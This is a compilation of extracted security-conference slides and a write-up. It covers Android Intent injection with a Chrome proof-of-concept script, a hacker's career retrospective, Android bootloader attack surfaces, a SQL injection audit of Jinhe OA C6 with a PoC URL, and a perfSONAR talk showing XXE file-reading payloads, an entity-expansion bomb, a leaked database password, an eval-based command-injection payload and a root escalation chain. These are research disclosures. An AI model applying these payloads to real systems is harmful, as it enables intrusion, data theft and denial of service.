¡ PendingIntent，经常用于通知
§ Pending：延时的
§ 包裹着真实的intent
§ 创建者的context
¡ A把将来要发送的intent打包，
然后交给B，让B在将来代表A
发出这个intent
¡ 即使A已经不存在，B也能以A
的context来发出这个intent
B篡改这个intent = intent注⼊入
¡ 安卓也意识到PendingIntent的风险，设置了限制，详见
android.content.Intent.fillin()
¡ 默认情况下（除非开发者设置特殊标记）
§ B⽆无法修改Component
§ 仅当A的原始Intent中action为空，B才可以修改action
¡ 但是，如果A的原始Intent中component与action都为空，B
就可以控制Intent的目标，B填⼊入Extras部分的数据直接合并
覆盖A的-‐>目标与数据均被B控制-‐>Intent注⼊入（注：这里描述的是⼤大部
分情况，忽视了pkg, data, type, category这些数据在intent解析中的影响）
Action
Compo
Extras
Data
…
Intent
目标
数据
¡
http://developer.android.com/reference/android/app/PendingIntent.html
By giving a PendingIntent to another application, you are granting it the right to
perform the operation you have specified as if the other application was
yourself (with the same permissions and identity). As such, you should be careful
about how you build the PendingIntent: almost always, for example, the base
Intent you supply should have the component name explicitly set to one of your
own components, to ensure it is ultimately sent there and nowhere else.
¡
扫描每个method，根据情况调整告警级别
§
发现有构造PendingIntent的⽅方法，例如getActivity，getBroadcast，getService，
createPendingResult，getActivities，若有报告并设定告警级别为低
§
在同⼀一个method中，扫描是否调用Intent的设置Component⽅方法，例如特定intent构
造函数，setClass，setClassName，setComponent等，若没有，调⾼高告警级别为中
§
在同⼀一个method中，扫描是否调用Intent的设置action⽅方法，例如特定intent构造函
数， setAction等，若没有，调⾼高告警级别为⾼高
§
其他⼀一些细节调整：例如开发⼈人员主动设置了相关的特殊标记，同⼀一个method中
用putExtra将PendingIntent打包到intent中
¡
对Android 4.4全系统扫描后发现152例告警，其中⾼高优先级35例，发
现⼀一个0day…
¡ 安卓Settings中存在PendingIntent权限泄漏漏洞，恶意⽆无
权限app可以system权限发送⼀一个含action与数据的⼴广播
¡ 我们在2014-‐9-‐2报告安卓，2014-‐9-‐10确认
com.android.settings.accounts.AddAccountSettings.addAccount(String)
¡ 安装时提示⽆无需任何
权限
¡ 启动后自动伪造来自
任意⼿手机号的⼀一条短
信
¡ 另外⼀一个严重的
Demo中，启动后自
动重启用户⼿手机并清
除包括短信，通信录
等数据
¡
https://android.googlesource.com/platform/frameworks/base/+/android-‐
5.1.1_r8/keystore/java/android/security/KeyChain.java
¡
https://android.googlesource.com/platform/frameworks/opt/telephony/+/android-‐
5.1.1_r8/src/java/com/android/internal/telephony/gsm/GsmServiceStateTracker.java
47
parseUri注⼊入
PendingIntent误用
Action/Component/Data注入
Intent转换与复制
Intent注入的概念
¡
https://developer.chrome.com/multidevice/android/intents
A little known feature in Android lets you launch apps directly from a web page
via an Android Intent. Only activities that have the category filter,
android.intent.category.BROWSABLE are able to be invoked using this method
as it indicates that the application is safe to open from the Browser.
基于intent的URI语法如下: （可参考安卓源码android.content.Intent.parseUri()
intent:
HOST/URI-‐path // Optional host
#Intent;
package=[string];
action=[string];
category=[string];
component=[string];
scheme=[string];
end;
参考：
[1] http://www.mbsd.jp/Whitepaper/IntentScheme.pdf
[2] http://drops.wooyun.org/papers/2893
¡
com.android.webview.chromium.WebViewContentsClientAdapter.java
¡
直接查找intent.parseUri⽅方法的调用即可
¡
对Android 4.4全系统扫描后发现9例告警，并未发现明显的安全问题
¡
于是我们去看Chrome，于是发现⼀一个0day…
¡
检查Intent的action是否等于某个常量字符串，符合条件的intent被启
动activity。
¡
但可以直接在uri中指定component，⽆无视action，启动任意activity，
即使未声明BROWSABLE
¡
我们在2014-‐10-‐9报告Chrome，2014-‐10-‐9确认
¡ 访问页面自动触发（Chrome
Android <=37.0.2062.117）
<script>
var url =
"intent:#Intent;action=com.google.android.apps.auth
enticator.AUTHENTICATE;S.url=javascript:eval(decode
URIComponent('location%3D%22http%3A%2F%2Fww
w.baidu.com%2F%22%3Bwindow.onload%3Dfunction()
%20%7Balert(document.cookie)%7D%3B'));SEL;compo
nent=com.android.chrome/com.google.android.apps.c
hrome.help.HelpActivity;end";
location.href = url;
</script>
¡ 访问⽹网页自动触发，详见
https://code.google.com/p/chromiu
m/issues/detail?id=421817
¡ 演示视频是基于小米语音助⼿手，与
上述链接中的POC略有修改
¡ Intent注⼊入漏洞，并非⼀一个新的概念，它早就存在。它比
较稀少，因此容易被忽视
¡ 归纳了Intent注⼊入的4种形式：Intent转换与复制、
Action/Component/Data注⼊入、PendingIntent误用与
parseUri注⼊入
¡ 归纳了利用自动化的⼯工具发现这4类形式的⽅方法，通过批
量的扫描，可以轻易发现这些漏洞
¡ 在每种都找到了⼀一个安卓OS或Chrome安卓版的0day，达
到本地提权或远程命令执⾏行的效果，分别得到了Android
与Chrome的官⽅方致谢
¡
Android官⽅方致谢：http://source.android.com/devices/tech/security/overview/acknowledgements.html
¡
Chrome官⽅方致谢：http://googlechromereleases.blogspot.com/2014/11/stable-‐channel-‐update_18.html
¡ 谢谢！ | pdf |
從初出茅廬到破解大師
我的 14 年駭客生涯回顧
Orange Tsai
Orange Tsai
• Principal security researcher at
and captain of
HITCON CTF team, focusing on Web/App 0-day research
• Speaker of top hacker conferences:
Black Hat USA, DEFCON, HITB, HITCON
• 2019 Pwnie Awards, "Best Server-Side Bug"
winner
• 2021 Pwn2Own champion
幼年期
成熟期
完全體
成長期
究極體
幼年期 (2002 ~ 2007)
1. 如何開始接觸電腦?
2. 如何開始接觸駭客?
• 天才駭客新聞... 帥爆了
"最佳解答" 還是錯的...
幼年期 (2002 ~ 2007)
1. 如何開始接觸電腦?
2. 如何開始接觸駭客?
• 天才駭客新聞... 帥爆了
成長期 (2007 ~ 2009)
• Re: 從零開始的駭客生活
1.
開放世界的遊戲探索
2. 從獨自學習到走入團體 - NISRA
3. 廢寢忘食只為了求解答 - Hacker Challenge
成長期 (2007 ~ 2009)
• Re: 從零開始的駭客生活
1. 開放世界的遊戲探索
2. 從獨自學習到走入團體 - NISRA
3. 廢寢忘食只為了求解答 - Hacker Challenge
成長期 (2007 ~ 2009)
• Re: 從零開始的駭客生活
1. 開放世界的遊戲探索
2. 從獨自學習到走入團體 - NISRA
3. 廢寢忘食只為了求解答 - Hacker Challenge
把公式整頁抄下來跑去問數學老師...
駭客年會:
第一次有高中生得到名次!?
!∑(ﾟДﾟノ) 第一次有高中生拿到冠軍!?
成熟期 (2009 ~ 2013)
• 如何獲得更多的認同感?
• 外在認同感: 刻意訓練演講能力
•
整理過的資料才是資訊
•
有辦法解釋的才是知識
• 自我認同感: 「我好像有點強」好奇自己的極限在哪裡?
•
挑戰還有哪裡我進不去?
• 「出事了阿伯」
PHP CONF 2013 - 矛盾大對決
能入侵任何網站的駭客 vs. 絕對不會被入侵的網站
成熟期 (2009 ~ 2013)
• 如何獲得更多的認同感?
• 外在認同感: 刻意訓練演講能力
•
整理過的資料才是資訊
•
有辦法解釋的才是知識
• 自我認同感:「我好像有點強」好奇自己的極限在哪裡?
•
挑戰還有哪裡我進不去
• 「出事了阿伯」
完全體 (2014 ~ 2018)
• 對於駭客技術的追求要往哪發洩? ...CTF!
• 技術愛好者的天堂
• 追逐成就感
• 「承認永遠有比你天才的人...」
完全體 (2014 ~ 2018)
• 對於駭客技術的追求要往哪發洩? ...CTF!
• 技術愛好者的天堂
• 追逐成就感
• 「承認永遠有比你天才的人...」
Dead End on Web Part
- 余弦 (EvilCos)
「哪怕再小, 也要讓自己成為某一點的 No.1」
究極體 (2017 ~ Now)
• 眼界放大到世界莫名產生的使命感
• 站上世界、讓世界看到台灣!
• 有哪些人才是我能幫忙的?
• 年年都要超越去年的自己，陷入為了找漏洞而找的泥沼
• 別人(花時間)也能找到的漏洞真的是我的目標嗎?
• 當工具人花時間幫廠商做 QA 不覺得很無聊嗎?
• 用既有招式找漏洞 vs. 創造一整個新的流派
究極體 (2017 ~ Now)
• 眼界放大到世界莫名產生的使命感
• 站上世界、讓世界看到台灣!
• 有哪些人才是我能幫忙的?
• 年年都要超越去年的自己，陷入為了找漏洞而找的泥沼
• 別人(花時間)也能找到的漏洞真的是我的目標嗎?
• 當工具人花時間幫廠商做 QA 不覺得很無聊嗎?
• 用既有招式找漏洞 vs. 創造一整個新的流派
「你會不會有一天不做資安？」
當你的動機只是因為有趣，出現更有趣的東西時馬上就被吸引走
我則是來自於不同階段目標的累加，怎麼覺得我會放棄資安？
Dead End on Web Part
- ?????
「駭客是終生職」
結語
• 變強公式:
1.
找到動機
2.
刻意挑戰 N+1
3.
解決: 獲得樂趣與成就感
4.
失敗: 檢討問題、反思下一次如何避免失誤
• 推薦閱讀系列文:
• (知乎 ZhiHu) 懶人在思考
by @Evilcos (余弦)
• (CoderBridge) 成為專家之路
by @Po-Jen
• (Medium) 關於變強這檔事
by @fchern
找出 "能解" 與 "不能解" 的差異
orange_8361
[email protected]
Thanks!
https://blog.orange.tw | pdf |
TAKBOO
深度解析BOOTLOADER攻击面
WHO AM I?
takboo
THIS IS A QUESTION!
ABOUT ME
▸ Sec·Ret 团队成员
▸ Android 漏洞研究
▸ Linux 内核漏洞研究
联系方式:[email protected]
PART 01 Bootloader 背景
PART 02 主流厂商 Bootloader 对比
PART 03 Qualcomm aboot
PART 04 Bootloader 漏洞挖掘
PART 05 Bootloader 漏洞分析
目录
CONTENTS
01 bootloader 背景
Bootloader 背景
PC 端 BOOTLOADER
▸ BIOS/UEFI/UBOOT
▸ 检查硬件，加载操作系统
▸ 多阶段启动
Bootloader 背景
移动设备 BOOTLOADER
▸ 多阶段启动
▸ 完整性
▸ 来源检测
▸ 版本检测
Bootloader 背景
ARM TRUSTED BOOT
▸ CoT(chain of Trust)
▸ Trusted Boot
▸ TEE(Trusted Execution Environment)
▸ TrustZone
▸ 异常级别
Bootloader 背景
ARM TRUSTED BOOT
Bootloader 背景
ANDROID BOOTLOADER
▸ aboot/hboot/sboot
▸ 启动安卓系统
▸ 厂商实现差异
Bootloader 背景
ANDROID VERIFIED BOOT
▸ 延续 CoT
▸ 两套实现
▸ 安全状态转换
▸ Bootloader 解锁
02
主流厂商对比
主流厂商 Bootloader 对比
QUALCOMM BOOTLOADER
▸ Aboot
▸ 市场占有率高
▸ EL1
▸ LK(Little Kernel)
▸ 符合 Trusted Boot 和 Verified Boot
主流厂商 Bootloader 对比
MEDIATEK BOOTLOADER
▸ 类似于aboot
▸ EL1
▸ 不开源
▸ 初始化重要硬件
▸ 符合 Trusted Boot 和 Verified Boot
主流厂商 Bootloader 对比
HUAWEI BOOTLOADER
▸ 整合后续启动阶段
▸ EL3
▸ 不开源
▸ 符合 Trusted Boot 和 Verified Boot
主流厂商 Bootloader 对比
SAMSUNG BOOTLOADER
▸ sboot
▸ EL1
▸ 不开源
▸ Odin 模式
主流厂商 Bootloader 对比
Vendor
EL
Fastboot
Qualcomm
EL1
TRUE
MediaTek
EL1
TRUE
Huawei
EL3
TRUE
Samsung
EL1
TRUE
03 Qualcomm aboot
Qualcomm aboot
LK
▸ 开源(git://codeaurora.org/kernel/lk.git)
▸ BL33
▸ 支持多种启动模式
▸ 支持 unlocking
Lk 源码分析 http://www.freebuf.com/news/135084.html
Qualcomm aboot
LK
▸ 进行各种早期的初始化工作(cpu, emmc thread etc)。
▸ 判断进入 recovery 或 fastboot 的条件是否被触发。
▸ 从 emmc 中获取 boot.img 并加载到指定内存区域。
▸ 从内存加载 kernel 到 KERNEL_ADDRESS。
▸ 从内存加载 ramdisk 到 RAMDISK_ADDRESS。
▸ 加载设备树到 TAGS_ADDRESS。
▸ 关闭 cache, interrupts, 跳转到 kernel。
Qualcomm aboot
FASTBOOT
▸ 指令注册
▸ 启动监听
▸ 指令解析与执行
Qualcomm aboot
▸ 指令数组
▸ 指令链表
▸ 指令注册
*
Qualcomm aboot
▸ fastboot 初始化
▸ fastboot 线程启动
▸ 等待USB
Qualcomm aboot
▸ 读取 USB
▸ 解析命令
04Bootloader 漏洞挖掘
Bootloader 漏洞挖掘
BOOTLOADER 难点
▸ 闭源
▸ 无调试符号
▸ 格式不统一
▸ 函数库/函数签名
▸ 硬件耦合
Bootloader 漏洞挖掘
BOOTLOADER 攻击面
▸ 存储数据
▸ Sdcard 数据
▸ Recovery 命令
▸ Fastboot 命令
Bootloader 漏洞挖掘
BOOTLOADER 攻击面
Bootloader 漏洞挖掘
BOOTLOADER 漏洞类型
▸ 内存破坏漏洞
▸ 存储设备写入漏洞
▸ Bootloader 解锁漏洞
Bootloader 漏洞挖掘
BOOTLOADER 漏洞挖掘框架
▸ 提取 bootloader
▸ 搜索入口函数
▸ 搜索 unlock 函数
▸ 模拟执行确定数据流向
▸ 生成执行报告
Bootloader 漏洞挖掘
BOOTLOADER 漏洞挖掘框架
05Bootloader 漏洞分析
Bootloader 漏洞分析
CADMIUM
▸ Boot.img 加载过程
Bootloader 漏洞分析
CADMIUM
▸ 内存破坏漏洞
▸ 绕过Verified Boot
▸ 漏洞成因
Bootloader 漏洞分析
CADMIUM
Bootloader 漏洞分析
CADMIUM 利用
▸ Emmc 结构
Bootloader 漏洞分析
CADMIUM 利用
▸ Bootloader 覆盖
Bootloader 漏洞分析
CADMIUM 利用
▸ 修复数据
Thanks! | pdf |
2022/5/26 22:55
2022-5-26-Jhsoft-OA-SQL
file:///C:/Users/ASUS/AppData/Local/Temp/mume2022426-24848-1h4aa2u.w9xa.html
1/4
金和OA C6代码审计
SQL注入
金和版本C6V3.0的n day，年前同事透露了金和OA这个n day，我眼疾手快截了图下来并记了路径。
由于当时还在实习太菜了，未学习C#的代码审计，因此没有深究漏洞成因。这几天整理去年的材料时
发现手上正好有新版的金和OA备份文件，就简单来审计利用链。
漏洞在jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo方法中，其中HomeService
为Webservice文件
在HomeService的GetHomeInfo方法中，首先stringBuilder新建了字符串常量池
2022/5/26 22:55
2022-5-26-Jhsoft-OA-SQL
file:///C:/Users/ASUS/AppData/Local/Temp/mume2022426-24848-1h4aa2u.w9xa.html
2/4
之后调用GetQuickUserInfo查询userID
再return抽象类ExecProcReDataTable，没有可控参数拼接
回到GetHomeInfo方法，进入quickUserInfo判断条件，由于quickUserInfo数组并不存在PhotoURL参
数，text为空，进入判断MapAndFindFilebyRelativeFilePath方法。
2022/5/26 22:55
2022-5-26-Jhsoft-OA-SQL
file:///C:/Users/ASUS/AppData/Local/Temp/mume2022426-24848-1h4aa2u.w9xa.html
3/4
判断为false，text设为空，释放类quickUserInfo。
text为空进入条件string userSex = GetUserSex(userID);
此处就可以看到userId拼接进了SQL语句中进行处理，造成了SQL注入
string queryString = "select DossValue from dossiervalue a left join
users b on a.RegCode=b.userid where a.DossierFieldID='3' and
b.userid='" + userId + "'";
最后它的利用POC是：
2022/5/26 22:55
2022-5-26-Jhsoft-OA-SQL
file:///C:/Users/ASUS/AppData/Local/Temp/mume2022426-24848-1h4aa2u.w9xa.html
4/4
http://XXXX/c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=payload | pdf |
ATTACKING NETWORK
INFRASTRUCTURE TO GENERATE A
4 TB/S DDOS FOR $5
by Luke Young
$ WHOAMI
➤ Undergraduate Student - Junior
➤ 2nd year at DEF CON
➤ Website: bored.engineer
➤ Email: [email protected]
➤ LinkedIn: https://www.linkedin.com/in/bored-engineer
➤ Twitter: @TheBoredEng
DISCLAIMER
➤ The views and opinions expressed in this presentation are those of
the authors and do not necessarily reflect the official policy or
position of any current or previous employer. Examples of
exploitation performed within this presentation are only examples
and they should not be utilized in the real-world.
AGENDA
➤ What is Internet2?
➤ What is perfSONAR?
➤ Exploiting perfSONAR
➤ Privilege Escalation to root
➤ Enumerating perfSONAR Instances
➤ Code Release and Q&A
BACKSTORY
➤ “The Internet is a global system of interconnected networks. The University
connects to both the global Internet and a number of special research and education
networks commonly referred to as Internet2. These networks provide high
bandwidth connectivity enabling and supporting research collaborations and
educational opportunities regionally, nationally, and around the world.”
WHAT IS A INTERNET2?
➤ “Internet2 is an exceptional community of U.S. and international leaders in research,
academia, industry and government who create and collaborate via innovative
technologies. Together, we accelerate research discovery, advance national and global
education, and improve the delivery of public services.”
➤ 282 - Higher Education
➤ 86 - Corporations
➤ 66 - Affiliate members (Governments)
➤ 42 - Regional and State Education Networks
➤ Lookout
➤ Office 365
➤ Rackspace
➤ SoftLayer
➤ Splunk
➤ VMWare
➤ Zoom
WHAT IS A INTERNET2?
➤ AWS
➤ Azure
➤ Box
➤ Dropbox
➤ DocuSign
➤ Duo Security
➤ LastPass
WHAT IS A INTERNET2?
INTERNET2 PRODUCTS
➤ Trust Identity & Middleware
➤ InCommon Federation
➤ Shibboleth
➤ Performance & Analytics
➤ BWCTL - Bandwidth Test Controller
➤ NDT - Network Diagnostic Tool
➤ OWAMP - One-Way Ping
➤ perfSONAR - pS-Performance Toolkit
ATTACKING PERFSONAR
PERFSONAR ISSUE #783
PERFSONAR ISSUE #783
XML EXTERNAL ENTITY PROCESSING (XXE)
<?xml version="1.0"?>
<!DOCTYPE author [
<!ELEMENT author (#PCDATA)>
<!ENTITY ly "Luke Young">
]>
<presentations>
<presentation>
<name>Investigating the Practicality and Cost of Abusing Memory Errors</name>
<location>DEF CON 23</location>
<author>&ly;</author>
</presentation>
<presentation>
<name>Attacking Network Infrastructure to Generate a 4 Tb/s DDoS for $5</name>
<location>DEF CON 24</location>
<author>&ly;</author>
</presentation>
</presentations>
XML EXTERNAL ENTITY PROCESSING (XXE)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
XML EXTERNAL ENTITY PROCESSING (XXE)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
PERFSONAR ISSUE #783
PERFSONAR ISSUE #783 REBORN
PERFSONAR ISSUE #783 REBORN
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<nmwg:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/">
<nmwg:data>
&xxe;
</nmwg:data>
</nmwg:message>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
PERFSONAR ISSUE #783 REBORN
<SOAP-ENV:Envelope xmlns:SOAP-ENV=“http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<nmwg:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/" xmlns:nmwgr="http://ggf.org/ns/nmwg/result/2.0/"
type=“ErrorResponse">
<nmwg:data>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
...
pulse:x:489:492:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
admin:x:500:505::/home/admin:/bin/bash
sudo:x:501:506::/home/sudo:/bin/bash
</nmwg:data>
<nmwg:metadata id=“return_message">
<nmwg:eventType>error.nmwg.action_not_supported</nmwg:eventType>
</nmwg:metadata>
<nmwg:data metadataIdRef="return_message" id=“data_return_message">
<nmwgr:datum>Unknown messagetype: </nmwgr:datum>
</nmwg:data>
</nmwg:message>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
curl -X POST -d @passwd.xml http://perfSONAR:8090/
PERFSONAR ISSUE #783 REBORN
<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<soapenv:Fault>
<faultcode>soapenv:Server.Internal</faultcode>
<faultstring>Error parsing message: I/O error : Permission denied
I/O error : Permission denied
:1: parser error : Failure to process entity xxe
g:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/"> <nmwg:data>
&xxe;
^
:1: parser error : Entity 'xxe' not defined
g:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/"> <nmwg:data>
&xxe;
^
at /opt/perfsonar_ps/oppd_mp/bin/oppd.pl line 760
</faultstring>
</soapenv:Fault>
</soapenv:Body>
</soapenv:Envelope>
curl -X POST -d @shadow.xml http://perfSONAR:8090/
PERFSONAR ISSUE #783 REBORN
<SOAP-ENV:Envelope xmlns:SOAP-ENV=“http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<nmwg:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/" xmlns:nmwgr="http://ggf.org/ns/nmwg/result/2.0/"
type=“ErrorResponse">
<nmwg:data>[main]
sql_db_engine = django.db.backends.postgresql_psycopg2
sql_db_name = esmond
sql_db_user = esmond
sql_db_password = 7hc4m1
tsdb_root = %(ESMOND_ROOT)s/tsdb-data
...
</nmwg:data>
<nmwg:metadata id=“return_message">
<nmwg:eventType>error.nmwg.action_not_supported</nmwg:eventType>
</nmwg:metadata>
<nmwg:data metadataIdRef="return_message" id=“data_return_message">
<nmwgr:datum>Unknown messagetype: </nmwgr:datum>
</nmwg:data>
</nmwg:message>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
curl -X POST -d @esmond.xml http://perfSONAR:8090/
PERFSONAR EXPLOITATION
➤ XXS and XXE abundant
➤ RCE seemed impossible
PERFSONAR - BANDWIDTHGRAPH.CGI
PERFSONAR - BANDWIDTHGRAPH.CGI
if ( scalar @childnodes == 1 ) {
if ( $child->textContent =~ m/(E|e)rror/
|| $child->textContent =~ m/Query returned 0 results/ )
{
next;
}
}
my %tsresult = ();
my $throughput = eval( $child->getAttribute("throughput") );
my $eTime = $child->getAttribute("timeValue");
my $etimestamp;
}
EXPLOITING PERFSONAR
PERFSONAR - BANDWIDTHGRAPH.CGI
<nmwg:data id="data.16870844" metadataIdRef="metadata.7441249" xmlns:nmwg="http://
ggf.org/ns/nmwg/base/2.0/">
<iperf:datum throughput="8.23811e+08" timeType="iso" timeValue="Tue Oct 19
15:18:29.823998065 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/>
<iperf:datum throughput="8.0573e+08" timeType="iso" timeValue="Tue Oct 19
16:17:55.2163317044 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/>
<iperf:datum throughput="8.29349e+08" timeType="iso" timeValue="Tue Oct 19
17:17:55.3262506549 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/>
<iperf:datum throughput="8.24512e+08" timeType="iso" timeValue="Tue Oct 19
18:20:02.81157432 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/>
<iperf:datum throughput="9.04838e+08" timeType="iso" timeValue="Tue Oct 19
19:17:56.3379084847 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/>
<iperf:datum throughput="8.16295e+08" timeType="iso" timeValue="Tue Oct 19
22:21:00.284368039 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/>
<iperf:datum throughput="8.32728e+08" timeType="iso" timeValue="Tue Oct 19
23:17:55.2126511324 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/>
<iperf:datum throughput="8.18147e+08" timeType="iso" timeValue="Wed Oct 20
04:19:43.2927588221 UTC 2010" xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/"/>
</nmwg:data>
PERFSONAR - BANDWIDTHGRAPH.CGI
my $cgi = new CGI;
my $ma_url = $cgi->param('url');
my $key = $cgi->param('key');
...
if ( !defined $ma_url ) {
print $cgi->header;
my $errmsg = "Missing MA_URL";
my $errfile = HTML::Template->new( filename => "$basetmpldir/bw_error.tmpl" );
$errfile->param( ERRORMSG => $errmsg );
print $errfile->output;
exit(1);
}
...
if ( !defined $key ) {
...
if(!$key){
print $cgi->header;
my $errmsg = "Unable to find matching MA key for provided parameters";
my $errfile = HTML::Template->new( filename => "$basetmpldir/bw_error.tmpl" );
$errfile->param( ERRORMSG => $errmsg );
print $errfile->output;
exit(1);
}
}
PERFSONAR - BANDWIDTHGRAPH.CGI
my $res = &getData( $ma_url, $key, $start, $end );
...
sub getData() {
foreach my $k (@keyList){
my $ma = new perfSONAR_PS::Client::MA( { instance => $ma_url } );
...
my $result = $ma->setupDataRequest(
...
);
...
my @childnodes = $root->findnodes("./*[local-name()='datum']");
...
foreach my $child (@childnodes) {
...
my $throughput = eval( $child->getAttribute("throughput") );
...
}
}
}
PERFSONAR - BANDWIDTHGRAPH.CGI
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<nmwg:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/" id="message.
3046685" type=“EchoRequest">
<nmwg:metadata id=“metadata.12999789">
<nmwg:eventType>http://schemas.perfsonar.net/tools/admin/echo/2.0</
nmwg:eventType>
</nmwg:metadata>
<nmwg:data metadataIdRef="metadata.12999789" id=“data.1942969”></nmwg:data>
</nmwg:message>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
PERFSONAR - BANDWIDTHGRAPH.CGI
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<nmwg:message xmlns:nmwg="http://ggf.org/ns/nmwg/base/2.0/">
<nmwg:metadata id="metadata.1337">
<nmwg:eventType>success.test</nmwg:eventType>
</nmwg:metadata>
<nmwg:data metadataIdRef="metadata.1337">
<iperf:datum throughput="`whoami`" timeValue="1 1 1 1:1:1 1"
xmlns:iperf="http://ggf.org/ns/nmwg/tools/iperf/2.0/">
</nmwg:data>
</nmwg:message>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
PERFSONAR - BANDWIDTHGRAPH.CGI
PERFSONAR - OBTAINING ROOT
PERFSONAR - ROOT?
PERFSONAR - CONFIGMANAGER
PERFSONAR - CONFIGMANAGER
PERFSONAR - CONFIGMANAGER
PERFSONAR - CONFIGMANAGER
PERFSONAR - CONFIGMANAGER
➤ /etc/hosts
➤ /etc/ntp.conf
➤ /etc/ntp/step-tickers
➤ /etc/bwctld/bwctld.conf
➤ /etc/bwctld/bwctld.limits
➤ /etc/owampd/owampd.limits
➤ /usr/ndt/tcpbw100.html
➤ /opt/perfsonar_ps/ls_registration_daemon/
etc/ls_registration_daemon.conf
➤ /opt/perfsonar_ps/regular_testing/etc/
regular_testing.conf
➤ /opt/perfsonar_ps/toolkit/etc/
administrative_info
➤ /opt/perfsonar_ps/toolkit/etc/
enabled_services
➤ /opt/perfsonar_ps/toolkit/etc/
external_addresses
➤ /opt/perfsonar_ps/toolkit/etc/
ntp_known_servers
PERFSONAR - CONFIGMANAGER
Backup original bwctld.conf
Use ConfigManager to stop bwctld
Write executable posthook.pl
Use ConfigManager to write new
bwctld.conf
Use ConfigManager to start bwctld
PERFSONAR - CONFIGMANAGER
Trigger a bwctl session, triggering
posthook.pl as root
Use ConfigManager to stop bwctld
Remove posthook.pl
Restore original bwctld.conf
Use ConfigManager to start bwctld
back to original configuration
PERFSONAR - CONFIGMANAGER
ENUMERATING PERFSONAR
INSTANCES
ESTIMATING THE PERFSONAR
NETWORK CAPACITY
ESTIMATING THE PERFSONAR
NETWORK CAPACITY
ESTIMATING THE PERFSONAR
NETWORK CAPACITY
ESTIMATING THE PERFSONAR
NETWORK CAPACITY
ESTIMATING THE PERFSONAR
NETWORK CAPACITY
PERFSONAR NETWORK MAPPING
MAP.GO / PS-SPLUNK
PERFSONAR NETWORK SUMMARY
➤ 970 Publicly routable nodes
➤ 12.51 TB of RAM
➤ 29.85 THz CPU Cycles
➤ Average Node:
➤ 13 GB of RAM
➤ 12 Cores at 2.6 GHz
